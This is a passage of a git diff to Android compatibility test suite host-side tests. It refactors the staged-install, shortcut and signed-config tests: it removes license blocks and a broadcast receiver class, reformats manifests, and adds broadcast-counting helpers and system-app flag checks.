diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.bp b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
index 9c3eef4..dcbdabd 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutMultiuserTest",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java b/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java
index c860523..b0aa391 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java
+++ b/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java
@@ -23,7 +23,6 @@
 
 public class Launcher extends Activity {
     public static void setAsDefaultLauncher(Instrumentation instrumentation, Context context) {
-        setDefaultLauncher(instrumentation,
-                context.getPackageName() + "/" + Launcher.class.getName());
+        setDefaultLauncher(instrumentation, context);
     }
 }
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
index 098f291..d664097 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 // We build two APKs from the same source files, each with a different set of resources.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutUpgradeVersion1",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java b/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java
index 21b0b03..550dcde 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java
+++ b/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java
@@ -23,7 +23,6 @@
 
 public class Launcher extends Activity {
     public static void setAsDefaultLauncher(Instrumentation instrumentation, Context context) {
-        setDefaultLauncher(instrumentation,
-                context.getPackageName() + "/" + Launcher.class.getName());
+        setDefaultLauncher(instrumentation, context);
     }
 }
diff --git a/hostsidetests/shortcuts/hostside/Android.bp b/hostsidetests/shortcuts/hostside/Android.bp
index 27ebc0f..b6ff84f 100644
--- a/hostsidetests/shortcuts/hostside/Android.bp
+++ b/hostsidetests/shortcuts/hostside/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsShortcutHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/signedconfig/app/Android.bp b/hostsidetests/signedconfig/app/Android.bp
index 8d69ce9..e47f9b7 100644
--- a/hostsidetests/signedconfig/app/Android.bp
+++ b/hostsidetests/signedconfig/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_defaults {
     name: "CtsSignedConfigDefaults",
     sdk_version: "current",
diff --git a/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml b/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml
index c5adf51..9ebeb87 100755
--- a/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml
+++ b/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml
@@ -1,4 +1,4 @@
-<?xml version="1.0" ?>
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,25 +13,26 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.signedconfig.app"
-    android:versionCode="1"
-    android:versionName="1">
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.cts.signedconfig.app"
+     android:versionCode="1"
+     android:versionName="1">
   <application>
     <meta-data android:name="android.settings.global"
-               android:value="@string/signed_config_v1"/>
+         android:value="@string/signed_config_v1"/>
     <meta-data android:name="android.settings.global.signature"
-               android:value="@string/signed_config_signature_v1"/>
+         android:value="@string/signed_config_signature_v1"/>
 
-    <activity android:name=".Empty">
+    <activity android:name=".Empty"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.intent.action.VIEW" />
-        <category android:name="android.intent.category.DEFAULT" />
-        <category android:name="android.intent.category.BROWSABLE" />
-        <data android:scheme="https" />
-        <data android:host="cts.android.com" />
-        <data android:path="/signedconfig" />
+        <action android:name="android.intent.action.VIEW"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+        <category android:name="android.intent.category.BROWSABLE"/>
+        <data android:scheme="https"/>
+        <data android:host="cts.android.com"/>
+        <data android:path="/signedconfig"/>
       </intent-filter>
     </activity>
 
diff --git a/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml b/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml
index b2d2e56..5010ce3 100755
--- a/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml
+++ b/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml
@@ -1,4 +1,4 @@
-<?xml version="1.0" ?>
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,25 +13,26 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.signedconfig.app"
-    android:versionCode="2"
-    android:versionName="2">
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.cts.signedconfig.app"
+     android:versionCode="2"
+     android:versionName="2">
   <application>
     <meta-data android:name="android.settings.global"
-               android:value="@string/signed_config_v2"/>
+         android:value="@string/signed_config_v2"/>
     <meta-data android:name="android.settings.global.signature"
-               android:value="@string/signed_config_signature_v2"/>
+         android:value="@string/signed_config_signature_v2"/>
 
-    <activity android:name=".Empty">
+    <activity android:name=".Empty"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.intent.action.VIEW" />
-        <category android:name="android.intent.category.DEFAULT" />
-        <category android:name="android.intent.category.BROWSABLE" />
-        <data android:scheme="https" />
-        <data android:host="cts.android.com" />
-        <data android:path="/signedconfig" />
+        <action android:name="android.intent.action.VIEW"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+        <category android:name="android.intent.category.BROWSABLE"/>
+        <data android:scheme="https"/>
+        <data android:host="cts.android.com"/>
+        <data android:path="/signedconfig"/>
       </intent-filter>
     </activity>
 
diff --git a/hostsidetests/signedconfig/hostside/Android.bp b/hostsidetests/signedconfig/hostside/Android.bp
index db3e84f..ebb4aaa 100644
--- a/hostsidetests/signedconfig/hostside/Android.bp
+++ b/hostsidetests/signedconfig/hostside/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsSignedConfigHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 8ea3089..3e87531 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsStagedInstallHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/stagedinstall/app/AndroidManifest.xml b/hostsidetests/stagedinstall/app/AndroidManifest.xml
index ebe83e6..b0f548c 100644
--- a/hostsidetests/stagedinstall/app/AndroidManifest.xml
+++ b/hostsidetests/stagedinstall/app/AndroidManifest.xml
@@ -15,38 +15,28 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall" >
+     package="com.android.tests.stagedinstall">
 
     <queries>
-        <package android:name="com.android.cts.ctsshim" />
+        <package android:name="com.android.cts.ctsshim"/>
     </queries>
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
-
         <!-- This activity is necessary to register the test app as the default home activity (i.e.
-             to receive SESSION_COMMITTED broadcasts.) -->
-        <activity android:name=".LauncherActivity">
+                         to receive SESSION_COMMITTED broadcasts.) -->
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
-                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <receiver android:name="com.android.tests.stagedinstall.SessionUpdateBroadcastReceiver">
-            <intent-filter>
-                <action android:name="android.content.pm.action.SESSION_UPDATED"/>
-            </intent-filter>
-            <intent-filter>
-                <action android:name="android.content.pm.action.SESSION_COMMITTED"/>
-            </intent-filter>
-        </receiver>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.tests.stagedinstall"
-                     android:label="StagedInstall Test"/>
+         android:targetPackage="com.android.tests.stagedinstall"
+         android:label="StagedInstall Test"/>
 </manifest>
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index 38ae802..f8eabdb 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -38,8 +38,6 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
-import java.util.concurrent.TimeUnit;
-
 /**
  * These tests use a similar structure to {@link StagedInstallTest}. See
  * {@link StagedInstallTest} documentation for reference.
@@ -67,53 +65,38 @@
                 .dropShellPermissionIdentity();
     }
 
-    @Before
-    public void clearBroadcastReceiver() {
-        SessionUpdateBroadcastReceiver.sessionBroadcasts.clear();
-    }
-
     @Test
     public void testRejectsApexWithAdditionalFile_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_additional_file.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWithAdditionalFolder_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_additional_folder.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWithPostInstallHook_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_with_post_install_hook.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWithPreInstallHook_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_with_pre_install_hook.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWrongSHA_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_wrong_sha.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
@@ -128,8 +111,9 @@
         int sessionId = Install.single(apexTestApp).setStaged().createSession();
         try (PackageInstaller.Session session =
                      InstallUtils.openPackageInstallerSession(sessionId)) {
-            session.commit(LocalIntentSender.getIntentSender());
-            Intent result = LocalIntentSender.getIntentSenderResult();
+            LocalIntentSender sender = new LocalIntentSender();
+            session.commit(sender.getIntentSender());
+            Intent result = sender.getResult();
             InstallUtils.assertStatusSuccess(result);
             return sessionId;
         }
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java
deleted file mode 100644
index d51c091..0000000
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.tests.stagedinstall;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageInstaller;
-import android.util.Log;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-public class SessionUpdateBroadcastReceiver extends BroadcastReceiver {
-
-    static final BlockingQueue<PackageInstaller.SessionInfo> sessionBroadcasts
-            = new LinkedBlockingQueue<>();
-    static final BlockingQueue<PackageInstaller.SessionInfo> sessionCommittedBroadcasts
-            = new LinkedBlockingQueue<>();
-
-    private static final String TAG = "StagedInstallTest";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        PackageInstaller.SessionInfo info =
-                intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
-        assertThat(info).isNotNull();
-        switch (intent.getAction()) {
-            case PackageInstaller.ACTION_SESSION_UPDATED:
-                handleSessionUpdatedBroadcast(info);
-                break;
-            case PackageInstaller.ACTION_SESSION_COMMITTED:
-                handleSessionCommittedBroadcast(info);
-                break;
-            default:
-                break;
-        }
-    }
-
-    private void handleSessionUpdatedBroadcast(PackageInstaller.SessionInfo info) {
-        Log.i(TAG, "Received SESSION_UPDATED for session " + info.getSessionId()
-                + " isReady:" + info.isStagedSessionReady()
-                + " isFailed:" + info.isStagedSessionFailed()
-                + " isApplied:" + info.isStagedSessionApplied());
-        try {
-            sessionBroadcasts.put(info);
-        } catch (InterruptedException e) {
-
-        }
-    }
-
-    private void handleSessionCommittedBroadcast(PackageInstaller.SessionInfo info) {
-        Log.e(TAG, "Received SESSION_COMMITTED for session " + info.getSessionId());
-        try {
-            sessionCommittedBroadcasts.put(info);
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
-            throw new IllegalStateException(
-                    "Interrupted while handling SESSION_COMMITTED broadcast", e);
-        }
-    }
-}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index f61d887..4a69184 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -16,6 +16,8 @@
 
 package com.android.tests.stagedinstall;
 
+import static com.android.cts.install.lib.InstallUtils.assertStatusSuccess;
+import static com.android.cts.install.lib.InstallUtils.getInstalledVersion;
 import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
 import static com.android.cts.shim.lib.ShimPackage.DIFFERENT_APEX_PACKAGE_NAME;
 import static com.android.cts.shim.lib.ShimPackage.NOT_PRE_INSTALL_APEX_PACKAGE_NAME;
@@ -29,8 +31,10 @@
 import static org.junit.Assert.fail;
 
 import android.Manifest;
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
@@ -60,18 +64,19 @@
 import java.io.FileWriter;
 import java.io.IOException;
 import java.io.InputStream;
-import java.io.OutputStream;
 import java.nio.file.FileVisitResult;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.nio.file.SimpleFileVisitor;
+import java.nio.file.StandardCopyOption;
 import java.nio.file.attribute.BasicFileAttributes;
 import java.time.Duration;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
 import java.util.function.Consumer;
 import java.util.stream.Collectors;
 
@@ -176,12 +181,6 @@
                 .dropShellPermissionIdentity();
     }
 
-    @Before
-    public void clearBroadcastReceiver() {
-        SessionUpdateBroadcastReceiver.sessionBroadcasts.clear();
-        SessionUpdateBroadcastReceiver.sessionCommittedBroadcasts.clear();
-    }
-
     // This is marked as @Test to take advantage of @Before/@After methods of this class. Actual
     // purpose of this method to be called before and after each test case of
     // com.android.test.stagedinstall.host.StagedInstallTest to reduce tests flakiness.
@@ -190,8 +189,10 @@
         PackageInstaller packageInstaller = getPackageInstaller();
         List<PackageInstaller.SessionInfo> stagedSessions = packageInstaller.getStagedSessions();
         for (PackageInstaller.SessionInfo sessionInfo : stagedSessions) {
-            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID) {
-                // Cannot abandon a child session
+            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID
+                    || sessionInfo.isStagedSessionApplied()
+                    || sessionInfo.isStagedSessionFailed()) {
+                // Cannot abandon a child session; no need to abandon terminated sessions
                 continue;
             }
             try {
@@ -223,21 +224,23 @@
 
     @Test
     public void testInstallStagedApk_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApk_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -252,6 +255,7 @@
 
     @Test
     public void testInstallMultipleStagedApks_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
                 .assertSuccessful().getSessionId();
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
@@ -261,16 +265,17 @@
         storeSessionId(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallMultipleStagedApks_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
         assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -338,6 +343,7 @@
 
     @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_UPDATED);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         // Using an apex in hopes that pre-reboot verification will take longer to complete
@@ -346,7 +352,7 @@
                 .getSessionId();
         abandonSession(sessionId);
         InstallUtils.assertStagedSessionIsAbandoned(sessionId);
-        assertNoSessionUpdatedBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -455,6 +461,7 @@
 
     @Test
     public void testInstallStagedApex_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
@@ -462,19 +469,21 @@
         storeSessionId(sessionId);
         // Version shouldn't change before reboot.
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApex_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApexAndApk_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1)
@@ -485,16 +494,17 @@
         // Version shouldn't change before reboot.
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApexAndApk_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -834,7 +844,7 @@
 
     @Test
     public void testUpdateWithDifferentKey_VerifyPostReboot() throws Exception {
-        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
     }
 
     // Once updated with a new rotated key (bob), further updates with old key (alice) should fail
@@ -862,7 +872,7 @@
 
     @Test
     public void testTrustedOldKeyIsAccepted_VerifyPostReboot() throws Exception {
-        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
     }
 
     // Once updated with a new rotated key (bob), further updates with new key (bob) should pass
@@ -875,7 +885,7 @@
 
     @Test
     public void testAfterRotationNewKeyCanUpdateFurther_VerifyPostReboot() throws Exception {
-        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
     }
 
     // Once updated with a new rotated key (bob), further updates can be done with key only
@@ -895,16 +905,20 @@
     @Test
     public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception {
         stageSingleApk(TestApp.A1).assertSuccessful();
-        StageSessionResult failedSessionResult = stageSingleApk(TestApp.B1);
-        assertThat(failedSessionResult.getErrorMessage()).contains(
+        int sessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
+        assertThat(info.getStagedSessionErrorMessage()).contains(
                 "Cannot stage multiple sessions without checkpoint support");
     }
 
     @Test
     public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
         stageSingleApk(TestApp.A1).assertSuccessful();
-        StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
-        assertThat(failedSessionResult.getErrorMessage()).contains(
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
+        assertThat(info.getStagedSessionErrorMessage()).contains(
                 "has been staged already by session");
     }
 
@@ -917,9 +931,12 @@
 
     @Test
     public void testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk() throws Exception {
-        stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful();
-        StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A2, TestApp.C1);
-        assertThat(failedSessionResult.getErrorMessage()).contains(
+        int id = stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(id);
+        int sessionId = stageMultipleApks(TestApp.A2, TestApp.C1).assertSuccessful().getSessionId();
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
+        assertThat(info.getStagedSessionErrorMessage()).contains(
                 "has been staged already by session");
     }
 
@@ -1200,15 +1217,39 @@
         }
     }
 
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_preUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isTrue();
+        assertThat(isUpdatedSystemApp).isFalse();
+    }
+
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_postUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isFalse();
+        assertThat(isUpdatedSystemApp).isTrue();
+    }
+
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
         return Install.single(TestApp.A1).setStaged().createSession();
     }
 
-    private static void commitSession(int sessionId) throws IOException {
+    private static Intent commitSession(int sessionId) throws IOException, InterruptedException {
+        LocalIntentSender sender = new LocalIntentSender();
         InstallUtils.openPackageInstallerSession(sessionId)
-                .commit(LocalIntentSender.getIntentSender());
+                .commit(sender.getIntentSender());
+        return sender.getResult();
     }
 
     private static StageSessionResult stageDowngradeSingleApk(TestApp testApp) throws Exception {
@@ -1216,26 +1257,20 @@
         int sessionId = Install.single(testApp).setStaged().setRequestDowngrade().createSession();
         // Commit the session (this will start the installation workflow).
         Log.i(TAG, "Committing downgrade session for apk: " + testApp);
-        commitSession(sessionId);
-        return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+        Intent result = commitSession(sessionId);
+        return new StageSessionResult(sessionId, result);
     }
 
     private static StageSessionResult stageSingleApk(String apkFileName, String outputFileName)
             throws Exception {
-        Log.i(TAG, "Staging an install of " + apkFileName);
-        // this is a trick to open an empty install session so we can manually write the package
-        // using writeApk
-        TestApp empty = new TestApp(null, null, -1,
